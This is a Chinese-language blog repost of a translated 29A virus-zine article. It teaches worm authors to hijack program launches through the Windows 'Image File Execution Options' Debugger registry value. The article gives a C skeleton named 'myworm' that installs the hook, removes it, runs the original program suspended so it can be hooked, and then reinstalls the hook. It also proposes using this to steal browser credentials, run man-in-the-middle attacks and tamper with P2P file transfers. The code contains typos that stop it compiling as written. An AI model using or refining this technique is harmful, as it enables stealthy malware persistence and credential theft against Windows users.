执行重定向

作者在 2008-08-07 17:10:05 发布以下内容

=============================================================
执行重定向 -- 通过使用'Image File Execution Options'键值
By GriYo/29A                 
29a-8.017                     linux2linux翻译于2005-7-9                 
=============================================================

我已经厌烦了蠕虫和其他的恶意代码仍然使用众所皆知,老掉牙并且过度使用的注册表键值,
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 。

此处我将强调一种能产生很多乐趣的方法,只要加一些想像。

有这样一个注册表键值, 它可以让你重定向执行系统中其他执行文件。虽然这是一个众所皆知并且有文档记载的键值,
但是我并不记得有任何恶意代码使用它, 至少没有足够的想像力来引起我的注意。

着手工作, 跳转到键值
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
在里面添加一个新键值,使用一个你想欺骗的执行文件的名字,好比NOTEPAD.EXE
 
注意到在‘Image File Execution Options’键值中已经有一些条目了,这些应用程序和填充大概是一些为了兼容老版本WINDOWS程序的东东。

现在给NOTEPAD.EXE键值加入一个新的串值类型的值项,名为‘Debugger’,并且键入其他执行程序的路径作为它的值。
所有的东西应该看起来这样:

Image File Execution Options
|
|__NOTEPAD.EXE
     Debugger - REG_SZ - C:\WINDOWS\SYSTEM32\CALC.EXE

一旦做好了,在NOTEPAD图标上单击?哪儿有,CALC.EXE被代替执行了,多有趣可笑呀,当你的姐姐试图执行MSN时,却得到了CALC.EXE...
但是我们将要试着超越它...

这儿有一个简单的命令行程序, TEST.C, 它可以显示执行时使用的参数。

----------------------------------------------------------------------
#include "stdio.h"
#include "conio.h"

int main( int argc, char **argv)
{
        int count ;

        printf( "Number of arguments: %d\n", argc) ;

        count = 0 ;

        while( count < argc)
        {
                printf( "Argument %d: %s\n", count, argv[ count]) ;
                count++ ;
        }

        while( !kbhit()) ;

        return 0 ;
}
----------------------------------------------------------------------

编译它并将test.exe放在你的根目录,C:\TEST.EXE。现在到注册表的NOTEPAD.EXE键值,修改'Debuuger'让它指向C:\TEST.EXE

在NOTEPAD图标上单击,看有TEST.EXE的输出结果

----------------------------------------------------------------------
Number of arguments: 2
Argument 0: c:\test.exe
Argument 1: C:\WINDOWS\system32\notepad.exe
----------------------------------------------------------------------

正如你所见的,原来程序的路径作为参数被传到了test.exe。现在在你的根目录创建一个README.TXT文件,并单击它。
如果NOTEPAD.EXE是你打开.txt文件默认程序,text.exe就会出现,显示如下的信息:

----------------------------------------------------------------------
Number of arguments: 3
Argument 0: c:\test.exe
Argument 1: C:\WINDOWS\system32\NOTEPAD.EXE
Argument 2: C:\readme.txt
----------------------------------------------------------------------

现在你可以看见传给NOTEPAD.EXE的参数也出现,作为传给test.exe的参数。
 
此刻我知道我能写一个能够代替NOTEPAD.EXE执行的程序了。这个程序接受argv[1]并执行它,并通过传入argv[2]或以上作为参数。
在这种情况下,要是你的程序没有显示任何窗口,用户就不会注意到它。

做了什么?你的程序将代替原来的程序被执行。在执行过程中,你的程序会执行原来的程序,使用特定的参数,并挂钩一些API或造成某种变化。
 
当你做这个的时候,要面对的一个问题是:你的程序(在这个例子中的test.exe)是否能够执行原来的程序(NOTEPAD.EXE)?

为什么?因为在‘Image File Execution Options’键值的重定向。当TEST.EXE使用CreatProcess的方法试图执行NOTEPAD.EXE时,
另一个TEST.EXE的实例会被代替执行,造成死循环。

你需要在Image File Execution Options下删除NOTEPAD.EXE的键值,执行原来的NOTEPAD.EXE,执行完后再将NOTEPAD.EXE键值写回。

你也不得不面对你自己制造的一些其他的小问题。 考虑下面没有完成的代码,作为一个起点:

----------------------------------------------------------------------
#include <windows.h>

#define WormName "myworm"
#define SubKey "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\msimn.exe"
#define SIZEOF_SPOOF_CMDLINE 1024

#ifdef _DEBUG
void DbgOut( char *Text)
{
        MessageBox( NULL, Text, WormName, 0) ;
}
#endif

BOOL SetImgHook()
{
        char WormPath[ MAX_PATH] ;

        int Size ;
        HKEY hKey ;
        BOOL RetVal ;

        Size = GetModuleFileName( NULL, WormPath, MAX_PATH) ;

        RetVal = FALSE ;

        if( RegCreateKey(       HKEY_LOCAL_MACHINE,
                                SubKey,
                                &hKey) == ERROR_SUCCESS)
        {
                RetVal = ( RegSetValueEx(       hKey,
                                                "Debugger",
                                                0,
                                                REG_SZ,
                                                WormPath,
                                                Size) == ERROR_SUCCESS) ;

                RegCloseKey( hKey) ;
        }

        return RetVal ;
}

BOOL ClearImgHook()
{
        return( RegDeleteKey(   KEY_LOCAL_MACHINE,
                                SubKey) == ERROR_SUCCESS) ;
}

int WinMain(    HINSTANCE hInstance,
                HINSTANCE hPrevInstance,
                LPSTR lpCmdLine,
                int nCmdShow)
{
        STARTUPINFO si ;
        PROCESS_INFORMATION pi ;

        char SpoofCmdLine[ SIZEOF_SPOOF_CMDLINE] ;
        char *Src ;
        char *Dst ;

        #ifdef _DEBUG
        if( ClearImgHook()) DbgOut( "App hook removed") ;
        else DbgOut( "Error! Cant remove app hook") ;
        #else
        ClearImgHook() ;
        #endif

        GetStartupInfo( &si) ;

        Src = lpCmdLine ;
        Dst = SpoofCmdLine ;

        while( *Src != '\0')
        {
                if( *Src != '\"')
                {
                        *Dst = *Src ;
                        Dst++ ;
                }

                Src++ ;
        }

        *Dst = '\0' ;

        if( CreateProcess(      SpoofCmdLine,
                                NULL,
                                NULL,
                                NULL,
                                FALSE,
                                REATE_NEW_PROCESS_GROUP|CREATE_SUSPENDED,
                                NULL,
                                NULL,
                                &si,
                                &pi))
        {
                #ifdef _DEBUG
                DbgOut( "Original app executed successfully") ;
                #endif

                //
                // Place hooks over original executable now
                //

                ResumeThread( pi.hThread) ;
                WaitForSingleObject( pi.hProcess, INFINITE) ;

                #ifdef _DEBUG
                DbgOut( "Original app closed") ;
                #endif
        }
        #ifdef _DEBUG
        else
        {
                DbgOut( "Error! Unable to execute original app") ;
        }
        #endif

        #ifdef _DEBUG
        if( SetImgHook()) DbgOut( "App hook reinstalled") ;
        else DbgOut( "Error! Cant reinstall app hook") ;
        #else
        SetImgHook() ;
        #endif

        return 0 ;
}
----------------------------------------------------------------------

这就是我所想的:
 
* 我不必使用每个蠕虫都已经使用的同一个垃圾似的注册表键值。

* 在内存中修改/挂钩原始程序作为一些变化,当执行时不用担心WINDOWS文件保护。

最后,决定你将要玩弄的程序。一些想法:

* INTERNET EXPLORER

通过给IEXPLORER.EXE或者它的DLL放置内存钩子,你可以截获认证,访问过的URL 或者发动你发明的任何中间人攻击。

* 邮件客户端
 
这儿没什么好说的?发挥自己的想像力,但是请不要写愚蠢的大量邮件废物,只能感染那些执行他们收到所有东西的傻瓜。
如果你创建什么,创建一些新的东西要比展示WINDOWS用户的愚蠢多得多。

* WINDOWS 资源管理器

你的程序能够得到由EXPLORER.EXE所能做一切的全部访问权,很有创造性。

* P2P

Mmmm?让我们指出下面的情形;你的程序代替某些P2P软件接管控制,在它上放置钩子并运行原始程序。
当远程用户申请某个文件,你的程序加一些东西到那个文件中,传给P2P程序发送,之后再将文件恢复原状。

这就是全部,编程快乐,享受创意!:-)

默认分类 | 阅读 5274 次
文章评论,共1条
chuan2008
2008-08-07 20:38
1
&#19968;&#20010;&#23383;&#65292;&#24378;&#65281;
游客请输入验证码
浏览318305次